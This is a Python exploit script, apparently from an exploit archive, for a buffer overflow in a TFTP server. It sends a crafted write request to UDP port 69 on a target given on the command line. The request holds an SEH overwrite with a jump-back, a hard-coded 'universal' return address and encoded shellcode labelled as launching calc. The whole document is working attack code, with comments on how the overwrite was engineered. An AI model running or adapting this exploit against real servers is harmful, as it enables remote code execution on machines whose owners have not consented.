TFTP Server Buffer Overflow

`#!/usr/bin/env python  
# This vuln is already owned by Muts ,  
# but i want to add the second methode  
# Note: we don't have more space for shellcode or Skape egghunter (23 bytes only) after SEH option  
# I used the jump_back because is the best and easiest way for exploiting a SEH overwrite option  
#  
# Reference:  
# http://www.exploit-db.com/exploits/5314  
#  
  
import sys  
from socket import *  
  
if (len(sys.argv) != 2):  
print "Usage:\t%s [target]" % sys.argv[0]  
sys.exit(0)  
  
host = sys.argv[1]  
port = 69  
  
print "TFTP SERVER Buffer Overflow remote exploit "  
print "Coded By Molotov - Moroccans Hackers"  
  
# calc  
shellcode=(  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x53\x4b\x38\x4e\x57"  
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x58"  
"\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x48\x46\x43\x4b\x38"  
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x58"  
"\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x44"  
"\x4b\x38\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"  
"\x41\x50\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x30\x43\x4c\x41\x33"  
"\x42\x4c\x46\x56\x4b\x58\x42\x44\x42\x43\x45\x48\x42\x4c\x4a\x37"  
"\x4e\x50\x4b\x48\x42\x44\x4e\x30\x4b\x38\x42\x47\x4e\x41\x4d\x4a"  
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"  
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x56\x4e\x33\x4f\x55\x41\x43"  
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x57"  
"\x42\x45\x4a\x56\x50\x37\x4a\x4d\x44\x4e\x43\x37\x4a\x56\x4a\x59"  
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x46"  
"\x4e\x56\x43\x56\x42\x30\x5a")  
  
pad0x1 = 'A' * 400 # jumping the 0x00 monster :s  
pad0x2 = 'A' * (1487 -len(shellcode)-400)  
jump_back = '\xE9\xC1\xFB\xFF\xFF' # fly fly baby  
Short_jump = '\xEB\xf9\x90\x90'  
return_addr = '\x2b\x0e\x41\x00' # universal  
  
mode = 'netascii'  
payload = pad0x1 + shellcode + pad0x2 + jump_back + Short_jump + return_addr  
  
Packet = "\x00\x02" + payload + "\0" + mode +"\0"  
  
try:  
s = socket(AF_INET,SOCK_DGRAM)  
try:  
s.sendto(Packet, (host, port))  
print "[+] Sending the evil packet !!!"  
except:  
print "[-] send() error !"  
print "[+] Done "  
except:  
print "[x] Socket() error!"  
  
  
`